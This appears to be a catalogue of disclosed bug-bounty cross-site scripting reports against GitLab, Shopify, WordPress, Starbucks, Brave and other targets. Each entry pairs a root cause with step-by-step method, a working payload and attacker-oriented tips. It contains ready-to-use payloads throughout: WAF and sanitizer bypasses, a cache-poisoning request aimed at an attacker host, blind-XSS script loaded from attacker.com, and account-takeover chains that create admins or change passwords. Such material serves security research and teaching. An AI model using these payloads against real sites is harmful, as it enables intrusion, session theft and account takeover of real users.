A label's color value is rendered into HTML and, for scoped labels, a fix was missed; because GitHub import lets you set arbitrary label colors, an attacker imports a repo whose label color contains markup that renders across issue/MR pages via GitLab references.
Method
- Host a dummy GitHub server (or repo) with a label whose color field contains an HTML payload
- Import it via POST /api/v4/import/github pointing github_hostname at your server
- View the labels page (and reference the label in an issue/MR) to fire the CSP-bypass XSS — works even when attacker is logged out
label name: yvvdwf::label-name
label color: ">yvvdwf-label<form class='hidden gl-show-field-errors'><input title='<script>alert(document.domain)</script>'>
Insight — When a value is normally range-validated by the UI (a color picker), find an alternate ingestion path that skips validation — here the GitHub import API accepts arbitrary color strings. Fixes for one render location (label list) often miss variants (scoped labels, references on issue/MR pages); always retest every place the value is echoed.
Real-world example
HTML-sanitizer parser confusion via unclosed <p> tags
◆ High
Specimen #1675516 · mercadolibre · awarded · 95 votes · resolved
Program mercadolibreSurface web
Root cause
An allow-list HTML sanitizer's parser desynchronizes when fed many unclosed block tags; a trailing extra tag slips past the filter and survives into the rendered (re-parsed) DOM, executing JS.
Method
- Confirm a sanitizer allows some tags but strips scripts/handlers
- Prepend a run of unclosed <p> tags then append a disallowed tag with an event handler
- Increase the number of <p> tags as the appended tag grows until the extra tag survives
<p><p><p><p><p><p><p><p><audio/src/onerror=alert(document.domain)>
Insight — Sanitizer bypasses often come from parser differentials, not from finding an unfiltered tag: malformed/unbalanced nesting makes the sanitizer's tree diverge from the browser's, letting a trailing tag through. Tune the number of filler tags to the payload length. In shared messaging this becomes wormable.
Real-world example
Web cache poisoning of X-Forwarded-Host into stored DOM XSS
◆ High
Specimen #303730 · gsa_bbp · USD 750 · 93 votes · resolved
Program gsa_bbpSurface webChain X-Forwarded-Host reflection -> attribute -> client fet
Root cause
The app reflects the X-Forwarded-Host header into a data attribute (data-site-root); client JS fetches JSON from that host and writes a field to the page without escaping (DOM XSS). Since the header is unkeyed, a poisoned response is cached by CloudFront and served to all users.
Method
- Find a header (X-Forwarded-Host) reflected into the page/attribute that later drives a client-side fetch or DOM write
- Send a request with the header pointing to your host, adding a cache buster
- Confirm the poisoned response is cached (unkeyed header), then load the page normally to trigger the DOM XSS from your JSON
curl -i -s -k -X GET \
-H 'Host: TARGET' \
-H 'x-forwarded-host: attacker.net/path/json.php?' \
'https://TARGET/dataset/consumer-complaint-database?cb=6'
// attacker json.php returns: {"show_more":"Mostrar más <svg onload=alert(document.domain)>"}
Insight — Chain an unkeyed reflected header with a DOM sink to turn a self-only header injection into a stored, mass-served XSS. Look for X-Forwarded-Host/-Scheme reflected into <base>, data-* attributes, or config that seeds a client-side fetch; then verify cacheability. Beware: poisoning a shared cache affects real users — use a cache-buster query.
Real-world example
Stored XSS via unescaped name/username fields rendered in UI dropdowns
◆ High
Specimen #1578400 · gitlab · USD 13950 · 92 votes · resolved
Program gitlabSurface web
Root cause
User-controlled identity fields (CRM contact first/last name; also group name and username) are rendered into autocomplete/quick-action/approval UI components without HTML-escaping, so markup in the name executes when the component renders.
Method
- Set an identity field (contact first/last name, group name, username) to an HTML/script payload
- Trigger the UI surface that lists it — e.g. type /add_contacts in an issue to open the contacts popup, or open New Project
- The payload renders and executes
First name / Last name: <script>alert(document.domain)</script>
// trigger: type "/add_contacts" in an issue description and press Enter
// variant (group name): "><img src=x onerror=prompt(123)>
Insight — Identity fields (names, usernames, contact records) are high-value stored-XSS sinks because they resurface in many places the developer forgot to escape: mention/quick-action popups, approver lists, autocomplete, activity feeds. Set the payload once, then walk every feature that renders that entity. New features (CRM/quick actions) frequently miss the escaping the old ones had.
Real-world example
Chained DOM XSS: trusted-origin XSS bypasses a postMessage origin allowlist
◆ High
Specimen #2371019 · automattic · awarded · 91 votes · resolved
Program automatticSurface webChain DOM XSS on widgets.wp.com -> passes Jetpack origin check
Root cause
A first DOM XSS on an allow-listed origin (widgets.wp.com) lets an attacker send postMessages that pass a receiver's exact-origin check; the receiver (Jetpack Likes) writes an unvalidated avatar_URL from the message straight into innerHTML.
Method
- Find a DOM XSS on the origin that a postMessage listener trusts (here a name/icon URL param templated into the DOM on widgets.wp.com)
- From that XSS, postMessage to the parent/opener with a crafted payload for a case that hits an HTML sink
- Receiver writes liker.avatar_URL into innerHTML -> XSS on every site embedding the widget (100k+)
// stage 1 XSS on the trusted origin:
https://widgets.wp.com/sharing-buttons-preview/?custom[0][icon]=x&custom[0][name]=%22%3E%3Cimg%20src%20onerror=alert()%3E
// stage 2: from that context postMessage a liker object with avatar_URL:
// element.innerHTML = `<img src="${liker.avatar_URL}" ...>` <- inject: "><img src=x onerror=alert(document.domain)>
Insight — An exact-origin postMessage allowlist is only as strong as the weakest page on that origin. When auditing postMessage receivers, don't stop at the origin check — look for any XSS anywhere on the allowed origin, then trace message fields to innerHTML/eval sinks. A single XSS on a shared widget host fans out to every embedding site.
Real-world example
javascript: URI in login redirect/callback parameter
◆ High
Specimen #2611305 · acronis · awarded · 82 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
A post-login redirect/callback parameter is used to build a link or is passed to a client-side navigation sink without scheme validation, so a javascript: URI executes when the user is redirected after authenticating.
Method
- Find a login/redirect flow with a redirectUrl/next/callback param
- Set the param to a javascript: URI
- Have victim open the crafted URL and authenticate; injected JS runs in the app origin
https://learn.acronis.com/portal/login-callback?redirectUrl=javascript:alert(document.domain)
Insight — Any redirect/callback/return-to param that feeds an href, location assignment, or window.open is a XSS sink if javascript:/data: schemes are not blocklisted; always test post-auth redirect params, not just pre-auth ones.
Real-world example
XSS via attacker-controlled third-party integration API response
◆ High
Specimen #1542510 · gitlab · awarded · 81 votes · resolved
Program gitlabSurface webTag webhook
Root cause
An external issue-tracker (ZenTao) integration renders JSON returned by an attacker-controlled server: the url field is emitted into an href without scheme validation (javascript:) and the id field is HTML-injected (server-side sanitize but no HTML-encode), producing clickable XSS.
Method
- Configure the integration to point at an attacker-hosted server
- Serve a crafted JSON response for the issue endpoint
- Return url=javascript:alert() and id=<img ...> to build a giant clickable breadcrumb
- Victim visits the integration page and clicks -> XSS
{"issue":{"id":"<img src=# height=10000 width=10000>","url":"javascript:alert(document.domain)"}}
Insight — Backend-fetched integration/webhook responses are an untrusted source too. Anywhere the app renders fields from a user-configurable upstream (issue trackers, avatars, oembed), test javascript: URLs and HTML in every field. Server-side 'sanitize' that strips scripts but does not HTML-encode still allows attribute/tag injection.
Real-world example
Attribute injection via regex quote-delimiter confusion (WordPress wp_targeted_link_rel)
◆ High
Specimen #509930 · wordpress · awarded · 80 votes · resolved
Program wordpressSurface webTag account-takeover
Root cause
A server-side HTML rewriter parses the rel attribute of <a> tags with a position-agnostic regex; when rel has no quote delimiter it defaults the delimiter to a double-quote and re-inserts it, injecting an unbalanced quote that breaks out of an enclosing attribute and lets a new event handler be added (CVE-2019-16773).
Method
- Craft an <a> whose title attribute embeds a fake unquoted rel= inside it
- Server rewrite defaults the rel delimiter to " and inserts it, closing the title attribute early
- Append onmouseover handler after the injected quote
- Store as user description (only path where kses runs before this filter) -> stored XSS
<a href="#" title=" target='abc' rel= onmouseover=alert(/XSS/) ">This is a PoC for a Stored XSS</a>
Insight — Server-side HTML mutation/rewriting passes (link rel-nofollow, target-blank hardening, sanitizer normalization) can themselves introduce quotes/attributes not present in the input, defeating a downstream sanitizer. When auditing, look for filters that run in the wrong order relative to kses/escaping and for regex attribute parsers that ignore position and default delimiters.
Real-world example
Stored XSS via settings field rendered into generated instructions page
◆ High
Specimen #1256777 · gitlab · awarded · 80 votes · resolved
Program gitlabSurface webChain stored XSS -> generate victim personal access token ->Tag account-takeover
Root cause
A group setting ('Default initial branch name') accepts arbitrary text and is echoed unsanitized (twice) into the empty-repo setup/instructions page of any new project, so it executes for developers/admins who view the project.
Method
- As attacker, set group 'Default initial branch name' to a script payload
- Create a blank project in that group
- Payload executes on the project main page for anyone with >=Developer access
- Invite victims as Developers so GitLab emails them a validated phishing link to the page
<script>alert(1);</script>
Insight — Config/settings fields that later appear in auto-generated help/instructions/onboarding pages are overlooked stored-XSS sinks. On CSP-hardened instances you can still hijack all links with a base-uri payload; the platform's own invite emails become trusted delivery.
Real-world example
Reflected XSS via Rails mass-assignment inserting unfiltered quotes
◆ High
Specimen #709336 · shopify · USD 2000 · 79 votes · resolved
Program shopifySurface webChain reflected XSS -> exfiltrate admin API keys from /admin/apTag account-takeover
Root cause
A newsletter form reflects params into an input value; the input filter escapes user-supplied quotes, but Ruby-on-Rails mass-assignment array/hash param syntax makes the framework itself emit quotes (delimiting attributes) that are never treated as user input, letting the attacker escape the value attribute and add onfocus+autofocus.
Method
- Submit newsletter form params using Rails array/hash bracket syntax
- Framework serializes params back into the input tag, inserting its own quotes
- Use those framework quotes to break out of value= and inject onfocus
- Add autofocus so it fires on page load
https://testbuguser.myshopify.com/?contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Insight — When the app filters user-supplied quotes, look for quotes the framework introduces on your behalf (Rails mass-assignment, template auto-quoting). Bracket/array param names can restructure how values are echoed into HTML and supply the delimiter you need. autofocus+onfocus (or onauxclick/onpointerenter) gives zero-interaction firing.
Real-world example
Stored XSS by breaking out of embed/shortcode media parameter
◆ High
Specimen #974271 · automattic · awarded · 78 votes · resolved
Program automatticSurface web
Root cause
An 'embed media' feature stores a shortcode id (e.g. [dailymotion id=...]) that is later interpolated into an HTML attribute without escaping, so a quote+tag in the id value breaks out.
Method
- Add media via Embed Media, insert a legit shortcode
- Intercept the save request
- Inject XSS into the media[...] shortcode param value
- Forward and reload -> XSS fires
[dailymotion id=x8oma9"><svg/onload=prompt(document.domain)>]
Insight — Oembed/shortcode/embed-id fields are stored-XSS sinks: the id often lands inside src="..." or an iframe attribute. Break out with "> and a self-triggering tag (svg/onload, img/onerror). Test the raw request, not just the UI, since the UI may restrict the field.
Real-world example
Reflected XSS via ASP.NET cookieless (A(...)) URL path segment
◆ High
Specimen #881115 · starbucks · awarded · 77 votes · resolved
Program starbucksSurface webChain reflected XSS on login page -> read Account.Password fielTag account-takeover
Root cause
The login page builds links from the relative URL path; ASP.NET cookieless session syntax (A(...)) / (F(...)) lets an attacker control a path segment that is reflected unescaped into href/tag attributes, allowing breakout and an event handler.
Method
- On an ASP.NET app, inject into the (A(...)) or (F(...)) path segment of the URL
- URL-encode (double-encode) the payload so it survives to reflection
- Reflected into a relative-link attribute on the login page
- Hover the affected control -> onmouseover fires
https://www.starbucks.com/account/(A(%22%20%252fonmouseover=%22alert%25%32%38%64%6f%63%75%6d%65%6e%74.%64%6f%6d%61%69%6e%25%32%39%22))/signin
Insight — On ASP.NET/IIS, the (A(...))/(S(...))/(F(...)) cookieless-session path tokens are attacker-controllable path data that apps often reflect into relative URLs. When a value reflects into an attribute on a login page, breakout to onmouseover/onfocus for credential theft. Use nested/double URL-encoding to bypass filters that block spaces/brackets.
Real-world example
DOM XSS via innerHTML filename preview -> formaction request gadget -> ATO
◆ High
Specimen #3608199 · basecamp · USD 500 · 76 votes · resolved
Program basecampSurface webChain DOM HTML injection -> formaction CSRF gadget -> victimTag account-takeover
Root cause
An import page renders the selected local filename with innerHTML instead of textContent; a crafted .zip filename is parsed as live HTML inside the authenticated import <form>, so an injected <button formaction=...> submits attacker-chosen same-origin POSTs using the page's own session and valid CSRF token.
Method
- Create a local file whose name is HTML injecting a submit button with formaction pointing at a state-changing endpoint
- Send/lure the logged-in victim to select the file on /account/imports/new
- The filename preview renders the live button instead of inert text
- Victim clicks it -> browser POSTs email-change with victim session + CSRF token
- Confirm the email change from attacker mailbox -> obtain victim session -> full ATO
<button formaction=/40002/users/<uid>/email_addresses formmethod=post name=email_address value=attacker@example.com>Take over.zip
Insight — HTML-injection sinks inside an already-authenticated form are more powerful than free-standing XSS: even without script execution (CSP), an injected form control with formaction/formmethod turns the page's real CSRF token into a same-origin request-forgery gadget. Filenames, previews, and any innerHTML rendering of user-supplied strings are candidates. Escalate email-change sinks to full account takeover via confirmation-link redemption.
Real-world example
Stored XSS via question/title rendered into a generated page
◆ High
Specimen #1901706 · drugs_com · none · 75 votes · resolved
Program drugs_comSurface web
Root cause
A user-submitted question title is slugified into a public page and rendered without sanitization, so an iframe/onload payload persists and executes for any visitor.
Method
- Go to the /ask page
- Submit a question whose text is an XSS payload
- Site generates a page (e.g. /iframe-onload-alert-...html) rendering it raw
- Anyone visiting the generated page triggers it
<iframe onload=alert(document.domain)>
Insight — User-generated content that becomes its own indexable page (Q&A titles, article slugs, profile pages) is a stored-XSS surface reachable by any visitor. <iframe onload> and <svg onload> are compact self-firing tags for such body contexts.
Real-world example
Trix editor paste XSS via text/html5 content-type bypass
◆ High
Specimen #2521419 · basecamp · USD 1000 · 74 votes · resolved
Program basecampSurface webTag supply-chain
Root cause
Trix editor (2.1.1) processes pasted data-trix-attachment content by contentType; the earlier fix (CVE-2024-34341) allow-listed text/html, but the check is bypassed by declaring contentType text/html5, so the attachment HTML (img/onerror) is rendered and executes on paste.
Method
- Host a page that copies a crafted attachment blob to the clipboard
- Attachment JSON sets contentType to text/html5 and content to img/onerror HTML
- Victim pastes into a Trix-based editor
- Alert fires (bypasses the text/html content-type filter)
copy<div data-trix-attachment="{"contentType":"text/html5","content":"<img src=1 onerror=alert(document.domain)>XSS POC"}"></div>me
Insight — When a fix allow-lists an exact MIME string (text/html), try trivial variants that browsers/libraries treat loosely: text/html5, TEXT/HTML, text/html;charset=..., application/xhtml+xml. Trix/rich-editor attachment paste is a recurring stored-XSS entry across Rails/Hotwire apps.
Real-world example
Delimiter injection into pipe-delimited field -> javascript: href, with payload-splitting gadget
◆ High
Specimen #423797 · chaturbate · awarded · 74 votes · resolved
Program chaturbateSurface web
Root cause
App-info is packed into a pipe/comma-delimited string (NAME|LINK,NAME|LINK) used to build chat-header anchors; the | separator is unfiltered in the app name, so a crafted name forges the href into a javascript: URL.
Method
- Set an app/bot name containing a | to inject a second field
- Forge the href of the running-app link to javascript:
- Bypass the 32-char name limit by splitting the payload across two apps and reading code from a DOM gadget (room title)
- Victim clicks the two links -> XSS
App1 name: 1|javascript:b='#roomtitle';0
App2 name: 2|javascript:eval($(b).text())
Room title: alert('XSS by skavans at ' + document.domain)
Insight — When user data is packed into a delimiter-separated string (| , : ;) that is later parsed into HTML/attributes, inject the delimiter to add fields you shouldn't control (here forging an href). Beat length limits by storing the real payload in another attacker-controlled DOM element (title/bio) and having a tiny javascript: bootstrap eval its text.
Real-world example
GitLab Banzai stored mXSS via markdown filter double-replacement + HTML4/HTML5 parsing differential
◆ High
Specimen #2257080 · gitlab · awarded · 71 votes · resolved
Program gitlabSurface webChain markdown filter attribute injection -> unsanitized href bTag account-takeover
Root cause
A markdown reference filter validates only the prefix of a link pattern but gsub-replaces every occurrence, letting a second replacement expand attacker text into an attribute; a GollumTagsFilter-generated href is not re-sanitized, allowing " injection to break out; finally the backend parses with Nokogiri (HTML4, only space delimits attrs) while browsers parse HTML5 (accept / delimiter), so <svg><style><img/src=x onerror=..></style></svg> mutates in-browser (mXSS) and executes despite CSP.
Method
- Craft nested <a>/<i> markup so the reference filter's gsub replaces the link pattern twice, expanding content into an alt/href attribute that is never redacted.
- Use the GollumTagsFilter [[a|http:'"<]] wiki-link syntax to get an attacker-influenced href that is NOT passed through the href sanitizer (which only escapes user-typed hrefs).
- Break out of the attribute via " to inject arbitrary tags/attributes (spaces are URL-encoded, so use tags without attributes first).
- Smuggle the real payload inside <style> so the backend HTML4 parser leaves <img/src=x onerror=..> untouched; wrap in <svg> so browser HTML5 mutation pulls the <img> out of <svg> context and it executes.
[[a|http:'"<]]
mXSS core: <svg><style><img/src="0"onerror="alert(0)"></style></svg>
final: <i class=gl-show-field-errors><input title="<script>alert(document.domain)</script>"/></i>
Insight — Server/browser HTML parser differentials (Nokogiri HTML4 vs browser HTML5, esp. the / attribute delimiter) are a reliable mXSS primitive; hide payloads in <style>/<svg> so the sanitizer's tree differs from the browser's rendered tree. Also: any HTML generated by an internal filter (not raw user input) often skips the href/attr sanitizer.
Real-world example
Parameter tampering turns self-XSS into stored XSS (media_code)
◆ High
Specimen #667188 · automattic · awarded · 68 votes · resolved
Program automatticSurface webChain self-XSS -> stored XSS on public *.survey.fm via media_coTag account-takeover
Root cause
An image-insert save request carries a media_code (photo id) parameter that is stored and later rendered unescaped; tampering it to an XSS payload in Burp makes the injection persist and render on the public survey.fm subdomain, escalating a self-only injection to stored cross-user XSS.
Method
- In the quiz/photo-insert app, upload an image and click Save while proxying.
- Find media_code= in the save request (normally the photo id).
- Replace it with "><svg/onload=alert(document.domain)> and forward.
- Open the published quiz link (SUBDOMAIN.survey.fm) -> stored XSS fires for any viewer.
media_code="><svg/onload=alert(document.domain)>
Insight — When a client-side widget looks self-XSS-only, hunt for a stored id/reference parameter in the underlying request; tampering an id field that is echoed on a public rendering surface converts self-XSS into stored XSS.
Real-world example
Mobile-browser UXSS via QR-code scanner navigating javascript: URI
◆ High
Specimen #1884042 · brave · awarded · 68 votes · resolved
Program braveSurface mobile-androidChain UXSS on all open domains -> cookie/session theft site-widTag account-takeover
Root cause
Brave for Android's address-bar QR-code scanner navigates the scanned URL in the context of the currently open page/tab without stripping the javascript: scheme, so a QR encoding javascript:... executes in the origin of whatever site is currently loaded (universal XSS). Same bug class as Edge CVE-2022-23258.
Method
- Encode a QR containing javascript:alert(document.domain); (or a cookie-stealer).
- Victim has a target site open (e.g. google.com), clears the URL bar, taps Scan QR Code.
- Scanner loads the javascript: URI in the current tab's origin.
- Code executes as the currently-open domain -> UXSS, cookie theft on any site.
QR content: javascript:alert(document.domain);
Insight — Any browser feature that takes external text and navigates it (QR scanner, share-to-browser, voice search, translate) is a UXSS candidate if it doesn't reject the javascript: (and data:) scheme or force a new about:blank context. Test javascript: through every such entry point on mobile browsers.
Real-world example
Antivirus-injected first-party UI UXSS via postMessage without origin check
◆ High
Specimen #463915 · kaspersky · awarded · 65 votes · resolved
Program kasperskySurface webChain postMessage (no origin check) -> javascript: link + clickTag account-takeover
Root cause
Kaspersky's URL Advisor balloon frame is injected as first-party content on every domain in Edge; it receives data via window.postMessage without validating the message origin and assigns it as a link target, so any site can make the link a javascript: URL, and (no X-Frame-Options on the balloon frame) clickjacking makes the victim click it -> code runs in the context of any domain (Universal XSS).
Method
- From a malicious page, postMessage to the injected URL Advisor frame (no origin validation) with data that becomes a link href.
- Set that href to a javascript: URL.
- Since the balloon frame lacks X-Frame-Options, overlay/clickjack it so the victim clicks the poisoned link.
- javascript: executes in the first-party context of whatever domain the balloon is served on (google.com, etc.).
attacker page -> targetFrame.postMessage({/* becomes link target */ url:'javascript:alert(document.domain)'}, '*')
Insight — Security software / extensions that inject first-party UI into every page turn any XSS in that UI into Universal XSS. Two recurring root causes: postMessage handlers with no event.origin check, and injected frames missing framing protections (enabling clickjacking of the javascript: link). Audit event.origin on every message listener.
Real-world example
Blind XSS via request headers/fields landing in internal admin dashboards
◆ High
Specimen #275518 · twitter · awarded · 63 votes · resolved
Program twitterSurface webChain header injection -> internal admin dashboard JS executionTag account-takeover
Root cause
User-controlled request data (User-Agent header, order/address form fields) is logged and later rendered unencoded in an internal support/monitoring dashboard, so a blind payload executes in a privileged admin session.
Method
- Seed multi-context blind payloads into headers (User-Agent, Referer, X-Forwarded-For) and free-text fields (address, feedback, name)
- Point the payload at an out-of-band collector (XSS Hunter / your JS host)
- Wait for staff to view logs/orders and receive the callback with DOM, cookies, origin
User-Agent: '>"></title></style></textarea></script><script/src=//attacker.com/js></script>
Insight — Blind XSS thrives where inputs are consumed by humans later: headers into log viewers (Sentry/Kibana), order/address fields into support panels, feedback forms into admin. Always seed OOB payloads and wait.
Real-world example
Reflected XSS via onauxclick (middle-click) event gadget
◆ High
Specimen #1779447 · mtn-group · none · 63 votes · resolved
Program mtn-groupSurface web
Root cause
A message/input field is reflected allowing tag injection; execution uses the onauxclick handler so the payload fires on a non-primary (middle/right) click, evading filters that only block common on* handlers.
Method
- Inject a tag with an onauxclick handler into the reflected field
- Bait the victim to auxiliary-click the injected element
- JS executes
<h1 onauxclick=confirm(document.domain)>RIGHT CLICK HERE
Insight — Uncommon event handlers (onauxclick, onpointerrawupdate, ontoggle) slip past blacklists that only cover onclick/onerror/onload; pair with luring text to get the interaction.
Real-world example
XSS via malicious link-preview/embed: attacker server returns javascript: URL
◆ High
Specimen #1887917 · irccloud · USD 500 · 62 votes · resolved
Program irccloudSurface webChain malicious embed data -> javascript: iframe src -> sessTag account-takeoverTag webhook
Root cause
The client auto-embeds Mastodon links by fetching /api/v1/statuses/<id> from the linked (attacker-run) server and uses the returned .url field as an iframe src; returning a javascript: URL executes script with access to the parent document.
Method
- Stand up a server that answers the app's embed/preview API path
- Return JSON whose url field is a javascript: URI (matching any consistency check, e.g. account.url)
- Send a victim a link to your server so the client fetches and embeds it
{
"account": { "url": "https://sm4.ca/@a" },
"url": "javascript:top.document.body.innerHTML = 'cookie: ' + document.cookie;//"
}
Insight — Link-unfurl/oEmbed/social-embed features that fetch remote JSON and reuse its fields as href/src are attacker-controlled URL sinks; the remote server is fully under attacker control, so any field used as a URL can be javascript:.
Real-world example
Reflected XSS in flash/confirmation message via name param
◆ High
Specimen #258198 · slack · awarded · 56 votes · resolved
Program slackSurface web
Root cause
A success/flash message echoes an attacker-supplied name (added=1&name=...) back into HTML without encoding.
Method
- Trigger the 'item added' flash message with an injected name param
- Break out of the attribute with "> and inject a script tag
https://{team}.slack.com/customize/emoji?added=1&name=vuln"><script>alert(0);<%2Fscript>
Insight — Post-action confirmation/flash messages that echo the just-created object's name are a frequently-missed reflected-XSS sink; test the ?added=/name= style params.
Real-world example
Stored XSS via staff member display name in admin activity feed
◆ High
Specimen #391390 · shopify · USD 2000 · 55 votes · resolved
Program shopifySurface webChain staff account -> stored XSS in admin activity feed -> Tag account-takeover
Root cause
A low-privilege staff member's chosen name is rendered unescaped in the admin activity log when the admin performs actions, executing in the admin's session.
Method
- Join a store as staff/member
- Set your member name to an XSS payload
- Have the admin make a change that generates an activity entry referencing your name
- Payload fires in the admin panel
hunter"><svg/onload=alert(2)>
Insight — Any field a low-priv user controls that later renders in a higher-priv dashboard (activity feeds, audit logs, member lists) is a stored-XSS -> privilege-escalation vector.
Real-world example
HTML/CSS injection to arbitrary POST via DOMPurify-surviving data-* script gadgets
◆ High
Specimen #1533976 · gitlab · awarded · 54 votes · resolved
Program gitlabSurface webChain content injection -> DOMPurify-safe data-* gadget -> aTag account-takeover
Root cause
DOMPurify strips known Rails-UJS data-url/data-method but keeps arbitrary data-* attributes. Client JS (main.js) auto-initializes elements by class and reads endpoints from those data-* attributes, so injected HTML can drive authenticated POSTs even after sanitization.
Method
- Find an HTML-injection sink whose output is sanitized by DOMPurify (here: Jira issue title synced into GitLab).
- Inject a container with a gadget class (js-feature-highlight / js-new-user-signups-cap-reached) plus data-dismiss-endpoint set to the target POST URL.
- Add a full-viewport overlay (<style>@import ...) so any click triggers the gadget's dismiss() -> axios.post.
- For issue data loaded after main.js runs, navigate away to a page calling History.back() so the browser serves cached data in time to hit the deferred gadget.
<a href=http:j15.se class=js-feature-highlight data-dismiss-endpoint='/api/v4/users?admin=true&email=j@j15.se&name=h&username=hack&password=12345678&skip_confirmation=true'>.</a><style>@import '/api/v4/projects/30205462/jobs/2304158115/artifacts/a.css'
<!-- OAuth-account takeover variant (no current-password needed): -->
<a href=http:j15.se class=js-feature-highlight data-dismiss-endpoint='/-/profile/password?_method=put&user%5Bnew_password%5D=12345678&user%5Bpassword_confirmation%5D=12345678'>.</a><style>@import '/.../a.css'
Insight — HTML injection != harmless even under DOMPurify. Audit the app's own JS for 'script gadgets': elements auto-wired by className that read URLs/methods from data-* attributes. CSS injection (@import) gives unlimited styling to build a bulletproof click-anywhere overlay. Char-limited sinks (255) are enough for admin-create/password-reset POSTs.
Real-world example
Stored XSS via git branch name rendered in merge-request widget
◆ High
Specimen #723307 · gitlab · USD 3500 · 53 votes · resolved
Program gitlabSurface web
Root cause
GitLab MR rebase widget (mr_widget_rebase.vue) renders the target branch name unescaped when a visitor lacks push permission and a rebase is required.
Method
- Set project merge method to fast-forward / semi-linear
- Create a branch whose NAME is an HTML payload and push it
- Open an MR targeting that branch requiring rebase
- View the MR as a user without push rights to the source branch
git checkout -b "<img/src='x'/onerror=alert(document.domain)>"
Insight — Git ref names (branches, tags) accept angle brackets and flow into many UI widgets; they are a durable stored-XSS vector in SCM/CI products. Test branch/tag names alongside issue/comment fields.
Real-world example
Stored XSS WAF bypass with HTML-comment prefix
◆ High
Specimen #415484 · shopify · USD 1000 · 52 votes · resolved
Program shopifySurface web
Root cause
A WAF strips HTML tags, but prefixing the payload with an <!--> pseudo-comment desyncs the WAF parser from the browser, letting the tag survive to the admin dashboard.
Method
- Put payload in the store street-address field
- Prefix it with "><!--> so the WAF mis-parses the following tag
- Visit the live dashboard where the address renders
xss"><!--><svg/onload=alert(document.domain)>
Insight — When a WAF/tag-stripper eats your tags, prepend a bogus/short HTML comment (<!-->) to break its tokenizer; browsers still parse the trailing tag. Classic parser-differential WAF bypass.
Real-world example
Stored XSS via event handler on an allowed <img> tag
◆ High
Specimen #1039750 · automattic · awarded · 52 votes · resolved
Program automatticSurface web
Root cause
IntenseDebate allows <img> in comments but does not strip event-handler attributes, so onload/onerror execute.
Method
- Enable 'allow images in comments' in moderation
- Post a comment containing an img with an onload handler
- Handler fires for admins/other viewers
<img src="https://intensedebate.com/images/a-addblog.png" onload="alert()">
Insight — An allowlist that permits a tag but not its attributes is still XSS-able; whenever <img>/<a>/<svg> are allowed, test onload/onerror/onmouseover handlers.
Real-world example
js-xss filterXSS onIgnoreTag bypass chained to 1-click ATO
◆ High
Specimen #1404804 · judgeme · USD 1250 · 51 votes · resolved
Program judgemeSurface webChain filterXSS bypass -> self-XSS -> HMAC-auth forced previTag account-takeover
Root cause
A custom onIgnoreTag callback in the js-xss library passes through <![endif]-- tokens; the library parses <![ differently from browsers, letting attributes reassemble into a live <img onerror>.
Method
- Submit the crafted email template so js-xss fails to neutralize it
- Force the victim to preview it via HMAC-authenticated preview URL (self->cross-user)
- Use same-origin frames to read victim pages; clickjack the settings button to steal the API token -> ATO
<![endif]-- onerror="<![endif]-->" onload="<img src=1 onerror='alert(1)' />">
Insight — Sanitizer parser-differentials (js-xss / DOMPurify config quirks) are a rich bypass source; audit any custom onIgnoreTag/allowlist callback. Self-XSS becomes 1-click ATO when a signed/HMAC preview link lets you log the victim into YOUR context.
Real-world example
Reflected XSS via X-Forwarded-Host header, escalated by cache poisoning
◆ High
Specimen #394016 · discourse · USD 256 · 51 votes · resolved
Program discourseSurface webChain X-Forwarded-Host reflected XSS + web cache poisoning -> sTag cache
Root cause
Discourse builds a font preload URL from the request host derived from X-Forwarded-Host and marks it html_safe, reflecting the header unescaped; the page is cached, so a poisoned response is served to all users.
Method
- Send GET /?x with X-Forwarded-Host set to an HTML/JS payload
- Payload reflects into the font <link>/@font-face src
- Because the response caches ~1 min keyed on Start-Line/Accept/Accept-Encoding, poison it so all matching users get the XSS
GET /?xx HTTP/1.1
Host: TARGET
X-Forwarded-Host: cacheattack'"><script>alert(document.domain)</script>
Insight — X-Forwarded-Host (and other Host-override headers) are common unkeyed cache inputs that reflect into asset/redirect URLs; combine header-reflection XSS with cache poisoning to convert a self-only reflected bug into stored-grade impact on every visitor.
Real-world example
Stored XSS via markdown ReferenceRedactorFilter attribute double-decoding
◆ High
Specimen #836649 · gitlab · USD 5000 · 50 votes · resolved
Program gitlabSurface webChain reference redactor double-decode -> stored HTML injection
Root cause
When GitLab redacts a reference the user cannot view, redacted_node_content reuses the html-encoded data-original attribute as link content; already-encoded HTML gets decoded once more, resurrecting live tags.
Method
- As a user without access, comment on a public project linking to a private issue
- Put html-encoded markup (xss <img onerror=...>) as the link text
- On render the redactor decodes data-original, injecting the raw tag
link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">xss <img onerror=alert(1) src=x></a>
Insight — Redaction/sanitization that stores original content in an attribute and later re-emits it can double-decode HTML entities; supply pre-encoded payloads that only become live after the second decode. Trigger the redaction path (referencing an unauthorized object) to reach it.
Real-world example
Stored XSS via .gitlab-ci.yml Kubernetes namespace value on job page
◆ High
Specimen #856554 · gitlab · USD 3000 · 50 votes · resolved
Program gitlabSurface web
Root cause
The environment.kubernetes.namespace value from .gitlab-ci.yml is rendered unescaped in the job page's environments_block.vue.
Method
- Add a Kubernetes cluster to the project
- Commit a .gitlab-ci.yml whose environment kubernetes.namespace is an HTML payload
- Open the resulting job page under CI/CD -> Jobs
environment:
name: production
url: https://google.com
kubernetes:
namespace: <img src=x onerror=alert(1)>
Insight — Values from CI/CD config files (.gitlab-ci.yml, workflow YAML) are attacker-controlled and often rendered in the pipeline/job UI without escaping; enumerate every YAML field (namespace, environment name/url, job name) as a stored-XSS sink.
Real-world example
Stored XSS via Mermaid init directive __proto__ prototype pollution
◆ High
Specimen #1280002 · gitlab · USD 3000 · 48 votes · resolved
Program gitlabSurface webChain Mermaid __proto__ pollution -> Object.prototype.template Tag account-takeover
Root cause
Mermaid merges the %%{init}%% directive config into an object without guarding __proto__, so an attacker pollutes Object.prototype.template with an HTML/iframe payload; a later Mermaid render uses the polluted template and executes script.
Method
- Add a Mermaid diagram in any issue/markdown field
- Use an init directive that sets __proto__.template to an iframe srcdoc loading remote JS
- After load, minimal interaction (e.g. clicking search) triggers a render using the polluted template -> stored XSS
%%{init: { '__proto__': {'template': '<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="<script src=https://TARGET/-/jobs/ID/artifacts/raw/payload.js></script>">'}} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
